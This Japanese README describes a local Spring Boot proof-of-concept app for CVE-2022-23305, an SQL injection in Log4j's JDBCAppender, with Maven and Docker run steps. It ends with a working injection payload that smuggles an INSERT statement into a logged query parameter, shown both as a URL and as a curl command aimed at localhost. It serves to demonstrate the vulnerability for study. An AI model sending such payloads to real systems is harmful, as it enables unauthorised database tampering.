
CVE-2022-23305 Log4J JDBCAppender SQl injection POC
これは、CVE-2022-23305の脆弱性を示す非常にシンプルなSpring Bootベースのアプリケーションです。Apache Maven、Spring Boot、Spring MVC、およびH2インメモリデータベースを使用して、URLクエリ文字列パラメータとして取得した1つの単純なエントリをログに記録します。Log4JがJDBCAppenderを使用するように構成されているため、SQLインジェクションに対して脆弱です。
ログ記録のステートメントについては、src/main/java/poc/InjectionController.javaを参照してください。
すべての構成ファイルについては、src/main/resourceフォルダを参照してください。
JavaとMavenを使用してアプリケーションを実行するには、"mvn clean spring-boot:run"を実行します。
Dockerアプリケーションとして実行することもできます。例:
docker build --tag log4j-poc .
docker run -p 8080:8080 log4j-poc
アプリケーションは http://localhost:8080/ で利用可能です。
脆弱性を悪用するには、ログに記録されるパラメータとしてインジェクションされたSQLステートメントを送信します。
"http://localhost:8080/?param=');insert into logs values(':("
戻り値は、追加されたログエントリをリストし、パラメータにインジェクションされたSQLによって追加されたエントリが含まれます。
curlを使用して同じことを行うには:
curl 'http://localhost:8080/?param=%27);insert%20into%20logs%20values(%27:('